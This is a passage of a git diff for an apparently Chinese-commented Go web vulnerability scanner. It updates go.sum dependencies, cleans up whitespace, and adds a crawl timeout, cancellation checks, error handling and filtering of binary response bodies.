v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= @@ -1667,8 +1471,6 @@ golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgw golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= @@ -1677,7 +1479,6 @@ golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= @@ -1698,13 +1499,12 @@ golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= -golang.org/x/tools v0.21.0 h1:qc0xYgIbsSDt9EyWz05J5wfa7LOVW0YTLOXrqdLAWIw= -golang.org/x/tools v0.21.0/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= +golang.org/x/tools v0.22.0 h1:gqSGLZqv+AI9lIQzniJ0nZDRG5GBPsSi+DRNHWNz6yA= +golang.org/x/tools v0.22.0/go.mod h1:aCwcsjqvq7Yqt6TNyX7QMU2enbQ/Gt0bo6krSeEri+c= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/api v0.3.1/go.mod h1:6wY9I6uQWHQ8EM57III9mq/AjF+i8G65rmVagqKMtkk= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= @@ -1722,7 +1522,6 @@ google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0M google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.2.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= @@ -1734,7 +1533,6 @@ google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRn google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s= google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= @@ -1759,17 +1557,12 @@ google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7Fc google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240513163218-0867130af1f8 h1:mxSlqyb8ZAHsYDCfiXN1EDdNTdvjUJSLY+OnAUtYNYA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240513163218-0867130af1f8/go.mod h1:I7Y+G38R2bu5j1aLzfFmQfTcU/WnFuqDwLZAbvKTKpM= -google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240624140628-dc46fd24d27d h1:k3zyW3BYYR30e8v3x0bTDdE9vpYFjZHK+HcyqkrppWk= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240624140628-dc46fd24d27d/go.mod h1:Ue6ibwXGpU+dqIcODieyLOcgj7z8+IcskoNIgZxtrFY= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.0/go.mod h1:chYK+tFQF0nDUGJgXMSgLCQk3phJEuONr2DCgLDdAQM= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= -google.golang.org/grpc v1.22.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= -google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= @@ -1796,15 +1589,13 @@ google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqw google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= -google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg= -google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= -gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= +google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= -gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= gopkg.in/corvus-ch/zbase32.v1 v1.0.0 h1:K4u1NprbDNvKPczKfHLbwdOWHTZ0zfv2ow71H1nRnFU= gopkg.in/corvus-ch/zbase32.v1 v1.0.0/go.mod h1:T3oKkPOm4AV/bNXCNFUxRmlE9RUyBz/DSo0nK9U+c0Y= gopkg.in/djherbis/times.v1 v1.3.0 h1:uxMS4iMtH6Pwsxog094W0FYldiNnfY/xba00vq6C2+o= @@ -1814,19 +1605,16 @@ gopkg.in/fatih/set.v0 v0.2.1 h1:Xvyyp7LXu34P0ROhCyfXkmQCAoOUKb1E2JS9I7SE5CY= gopkg.in/fatih/set.v0 v0.2.1/go.mod h1:5eLWEndGL4zGGemXWrKuts+wTJR0y+w+auqUJZbmyBg= gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= -gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o= gopkg.in/ini.v1 v1.42.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA= gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc= gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc= -gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= -gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= @@ -1839,7 +1627,6 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= @@ -1856,5 +1643,3 @@ rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8 rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o= -sourcegraph.com/sourcegraph/appdash v0.0.0-20190731080439-ebfcffb1b5c0/go.mod h1:hI742Nqp5OhwiqlzhgfbWU4mW4yO10fP+LoT9WOswdU= diff --git a/pkg/ast/jscontext.go b/pkg/ast/jscontext.go index 3429a72..37618ca 100644 --- a/pkg/ast/jscontext.go +++ b/pkg/ast/jscontext.go @@ -26,22 +26,22 @@ func SearchInputInScript(input, script string) (Occurrences []Occurence) { p.jsParser(script) tokens := p.GetRoot() defer p.Clear() - + if tokens.Length() == 0 { return } - + for _, token := range tokens.Children { tagName := token.Value.TagName content := token.Value.Content - + if !funk.Contains(content, input) { continue } - + Occurrences = append(Occurrences, Occurence{Type: tagName, Position: Index, Details: CopyNode(token)}) } - + return } @@ -53,17 +53,17 @@ func (parser *Parser) jsParser(script string) { debugStack := make([]byte, 1024) runtime.Stack(debugStack, false) logging.Logger.Errorf("Stack Trace:%v", string(debugStack)) - + } }() - + if parser.tokenizer == nil { parser.tokenizer = new(Node) } - + // Parse the JavaScript code into an AST.xw l := js.NewLexer(parse.NewInputString(script)) - + var i = 0 for { i++ @@ -89,6 +89,6 @@ func (parser *Parser) jsParser(script string) { case js.StringToken: // 变量值 parser.tokenizer.Insert(i, "ScriptLiteral", &commentText, &Attributes) } - + } } diff --git a/pkg/mitmproxy/task.go b/pkg/mitmproxy/task.go index 994b5cd..9f610e3 100644 --- a/pkg/mitmproxy/task.go +++ b/pkg/mitmproxy/task.go @@ -76,7 +76,7 @@ func distribution(f *proxy.Flow) { t.WG.Add(1) go func() { - err := t.Pool.Submit(t.Distribution(in)) + err = t.Pool.Submit(t.Distribution(in)) if err != nil { t.WG.Done() logging.Logger.Errorf("add distribution err:%v, crawlResult:%v", err, in) diff --git a/pkg/mitmproxy/util.go b/pkg/mitmproxy/util.go index 7381247..6bd37fc 100644 --- a/pkg/mitmproxy/util.go +++ b/pkg/mitmproxy/util.go @@ -26,18 +26,18 @@ func requestDump(r *proxy.Request) string { if r.Raw().Close { fmt.Fprintf(buf, "Connection: close\r\n") } - + err := r.Header.WriteSubset(buf, nil) if err != nil { logging.Logger.Error(err) } buf.WriteString("\r\n") - + if r.Body != nil && len(r.Body) > 0 && canPrint(r.Body) { buf.Write(r.Body) buf.WriteString("\r\n\r\n") } - + return buf.String() } diff --git a/pkg/mode/active.go b/pkg/mode/active.go index 40e2f16..a01b844 100644 --- a/pkg/mode/active.go +++ b/pkg/mode/active.go @@ -1,6 +1,7 @@ package mode import ( + "context" "encoding/json" "fmt" "github.com/panjf2000/ants/v2" @@ -45,80 +46,97 @@ func Active(target string, fingerprint []string) ([]string, []string) { return nil, nil } - // 判断是否以 http https 开头 - httpMatch, _ := regexp.MatchString("^(http)s?://", target) - if !httpMatch { - portMatch, _ := regexp.MatchString(":443", target) - if portMatch { - target = fmt.Sprintf("https://%s", target) + // 超时控制,超过 10 分钟就丢掉吧 + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute) + defer cancel() + doneCh := make(chan bool, 1) + defer close(doneCh) + + for { + doneCh <- true + var subdomains []string + + // 判断是否以 http https 开头 + httpMatch, _ := regexp.MatchString("^(http)s?://", target) + if !httpMatch { + portMatch, _ := regexp.MatchString(":443", target) + if portMatch { + target = fmt.Sprintf("https://%s", target) + } else { + target = fmt.Sprintf("http://%s", target) + } + } + + parseUrl, err := url.Parse(target) + if err != nil { + logging.Logger.Errorln(err) + return nil, nil + } + var host string + // 有的会带80、443端口号,导致 example.com 和 example.com:80、example.com:443被认为是不同的网站 + if strings.Contains(parseUrl.Host, ":443") || strings.Contains(parseUrl.Host, ":80") { + host = strings.Split(parseUrl.Host, ":")[0] } else { - target = fmt.Sprintf("http://%s", target) + host = parseUrl.Host + } + + t := &task.Task{ + Parallelism: conf.Parallelism, + ScanTask: make(map[string]*task.ScanTask), + } + + client := httpx.NewClient(nil) + t.ScanTask[host] = &task.ScanTask{ + PerServer: make(map[string]bool), + PerFolder: make(map[string]bool), + PocPlugin: make(map[string]bool), + Client: client, + // 3: 同时运行 3 个插件,2 供 PreServer、 PreFolder这两个函数使用,防止马上退出 所以这里同时运行的插件个数为3-5 个 + // TODO 更优雅的实现方式 + Wg: sizedwaitgroup.New(3 + 3), + } + + pool, _ := ants.NewPool(t.Parallelism) + t.Pool = pool + defer t.Pool.Release() // 释放协程池 + // 爬虫前,进行连接性、指纹识别、 waf 探测 + resp, err := client.Request(target, "GET", "", nil) + if err != nil { + logging.Logger.Errorln("End: ", err) + return nil, nil + } + + technologies := fingprints.Identify([]byte(resp.Body), resp.Header) + + wafs := waf.Scan(target, resp.Body, client) + + // 爬虫的同时进行指纹识别 + if conf.GlobalConfig.WebScan.Craw == "c" { + logging.Logger.Infoln("Crawling with Crawlergo.") + subdomains = Crawlergo(ctx, target, wafs, t, fingerprint) + } else { + logging.Logger.Infoln("Crawling with Katana.") + subdomains = Katana(ctx, target, wafs, t, fingerprint) + } + + t.WG.Wait() + + logging.Logger.Debugln("Fingerprints: ", t.Fingerprints) + + t.Fingerprints = funk.UniqString(append(t.Fingerprints, technologies...)) + + select { + case <-ctx.Done(): + // 如果超时,将会接收到这个信号 + logging.Logger.Warningln("Jie 运行超时,退出扫描", target) + return subdomains, t.Fingerprints + case <-doneCh: + return subdomains, t.Fingerprints } } - - parseUrl, err := url.Parse(target) - if err != nil { - logging.Logger.Errorln(err) - return nil, nil - } - var host string - // 有的会带80、443端口号,导致 example.com 和 example.com:80、example.com:443被认为是不同的网站 - if strings.Contains(parseUrl.Host, ":443") || strings.Contains(parseUrl.Host, ":80") { - host = strings.Split(parseUrl.Host, ":")[0] - } else { - host = parseUrl.Host - } - - t := &task.Task{ - Parallelism: conf.Parallelism, - ScanTask: make(map[string]*task.ScanTask), - } - - client := httpx.NewClient(nil) - t.ScanTask[host] = &task.ScanTask{ - PerServer: make(map[string]bool), - PerFolder: make(map[string]bool), - PocPlugin: make(map[string]bool), - Client: client, - // 3: 同时运行 3 个插件,2 供 PreServer、 PreFolder这两个函数使用,防止马上退出 所以这里同时运行的插件个数为3-5 个 - // TODO 更优雅的实现方式 - Wg: sizedwaitgroup.New(3 + 3), - } - - pool, _ := ants.NewPool(t.Parallelism) - t.Pool = pool - defer t.Pool.Release() // 释放协程池 - // 爬虫前,进行连接性、指纹识别、 waf 探测 - resp, err := client.Request(target, "GET", "", nil) - if err != nil { - logging.Logger.Errorln("End: ", err) - return nil, nil - } - - technologies := fingprints.Identify([]byte(resp.Body), resp.Header) - - wafs := waf.Scan(target, resp.Body, client) - - var subdomains []string - // 爬虫的同时进行指纹识别 - if conf.GlobalConfig.WebScan.Craw == "c" { - logging.Logger.Infoln("Crawling with Crawlergo.") - subdomains = Crawlergo(target, wafs, t, fingerprint) - } else { - logging.Logger.Infoln("Crawling with Katana.") - subdomains = Katana(target, wafs, t, fingerprint) - } - - t.WG.Wait() - - logging.Logger.Debugln("Fingerprints: ", t.Fingerprints) - - t.Fingerprints = funk.UniqString(append(t.Fingerprints, technologies...)) - - return subdomains, t.Fingerprints } -func Katana(target string, waf []string, t *task.Task, fingerprint []string) []string { +func Katana(ctx context.Context, target string, waf []string, t *task.Task, fingerprint []string) []string { parseUrl, err := url.Parse(target) if err != nil { logging.Logger.Errorln(err) @@ -129,6 +147,9 @@ func Katana(target string, waf []string, t *task.Task, fingerprint []string) []s i := 0 now := time.Now() out := func(result output.Result) { // Callback function to execute for result + if checkCancellation(ctx) { + return + } curl := strings.ReplaceAll(result.Request.URL, "\\n", "") curl = strings.ReplaceAll(curl, "\\t", "") curl = strings.ReplaceAll(curl, "\\n", "") @@ -183,7 +204,7 @@ func Katana(target string, waf []string, t *task.Task, fingerprint []string) []s Target: target, Method: result.Request.Method, Source: result.Request.Source, - Headers: make(map[string]string), + Headers: result.Request.Headers, RequestBody: result.Request.Body, Fingerprints: fingerprint, Waf: waf, @@ -202,7 +223,11 @@ func Katana(target string, waf []string, t *task.Task, fingerprint []string) []s // 分发扫描任务 t.WG.Add(1) - _ = t.Pool.Submit(t.Distribution(crawlResult)) + err = t.Pool.Submit(t.Distribution(crawlResult)) + if err != nil { + t.WG.Done() + logging.Logger.Errorf("Katana add distribution err:%v, crawlResult:%v", err, crawlResult) + } } if conf.GlobalConfig.WebScan.Craw == "k" { @@ -217,7 +242,7 @@ func Katana(target string, waf []string, t *task.Task, fingerprint []string) []s } // Crawlergo 运行爬虫, 对爬虫结果进行处理 -func Crawlergo(target string, waf []string, t *task.Task, fingerprint []string) []string { +func Crawlergo(ctx context.Context, target string, waf []string, t *task.Task, fingerprint []string) []string { var targets []*model.Request var req model.Request @@ -244,6 +269,9 @@ func Crawlergo(target string, waf []string, t *task.Task, fingerprint []string) // 实时获取结果 onResult := func(result *crawlergo.OutResult) { + if checkCancellation(ctx) { + return + } // 不对这些进行漏扫 for _, suffix := range extensionFilter { if strings.HasSuffix(result.ReqList.URL.Path, suffix) { @@ -297,7 +325,11 @@ func Crawlergo(target string, waf []string, t *task.Task, fingerprint []string) // 分发扫描任务 t.WG.Add(1) - _ = t.Pool.Submit(t.Distribution(crawlResult)) + err = t.Pool.Submit(t.Distribution(crawlResult)) + if err != nil { + t.WG.Done() + logging.Logger.Errorf("Crawlergo add distribution err:%v, crawlResult:%v", err, crawlResult) + } } // 开始爬虫任务 @@ -328,3 +360,13 @@ func getOption() model.Options { } return option } + +// 检查上下文是否被取消 +func checkCancellation(ctx context.Context) bool { + select { + case <-ctx.Done(): + return true + default: + return false + } +} diff --git a/pkg/protocols/httpx/request.go b/pkg/protocols/httpx/request.go index accfc63..927c340 100644 --- a/pkg/protocols/httpx/request.go +++ b/pkg/protocols/httpx/request.go @@ -193,7 +193,7 @@ func (c *Client) Request(target string, method string, body string, header map[s SetBody(body). Put(target) } else { - logging.Logger.Warningf("Unsupported method: %s", method) + // logging.Logger.Warningf("Unsupported method: %s", method) return nil, errors.New(fmt.Sprintf("Unsupported method: %s", method)) } @@ -210,10 +210,23 @@ func (c *Client) Request(target string, method string, body string, header map[s location = respLocation.String() } - if respBodyByte, err := ioutil.ReadAll(resp.Body); err == nil { - respBody = string(respBodyByte) + var filterHeader bool + contentType := resp.GetHeader("Content-Type") + // 过滤掉这种 + if strings.Contains(contentType, "application/octet-stream") || strings.Contains(contentType, "image/") || strings.Contains(contentType, "video/") || strings.Contains(contentType, "audio/") { + filterHeader = true + } + + if !filterHeader { + if respBodyByte, err := ioutil.ReadAll(resp.Body); err == nil { + respBody = string(respBodyByte) + } + defer resp.Body.Close() + // 检测所有的返回包,可能有某个插件导致报错,存在报错信息 + if !strings.Contains(contentType, "application/zip") { + sensitive.PageErrorMessageCheck(target, requestDumpBuf.String(), respBody) + } } - defer resp.Body.Close() if resp.StatusCode == 200 { // 检查一下是否为 js 控制的跳转 @@ -222,9 +235,6 @@ func (c *Client) Request(target string, method string, body string, header map[s } } - // 检测所有的返回包,可能有某个插件导致报错,存在报错信息 - sensitive.PageErrorMessageCheck(target, requestDumpBuf.String(), respBody) - return &Response{ Status: resp.Status, StatusCode: resp.StatusCode, diff --git a/pkg/protocols/httpx/util.go b/pkg/protocols/httpx/util.go index 1b9f4f4..6862aab 100644 --- a/pkg/protocols/httpx/util.go +++ b/pkg/protocols/httpx/util.go @@ -43,7 +43,7 @@ type Param struct { Filename string `json:"fileName,omitempty"` // ContentType is the content type of posted file. ContentType string `json:"contentType,omitempty"` - + FileHeader textproto.MIMEHeader FileSize int64 FileContent []byte @@ -86,7 +86,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header index int variations Variations ) - + jsonMap := make(map[string]interface{}) if strings.ToUpper(method) == "POST" { if len(body) > 0 { @@ -114,22 +114,22 @@ func ParseUri(uri string, body []byte, 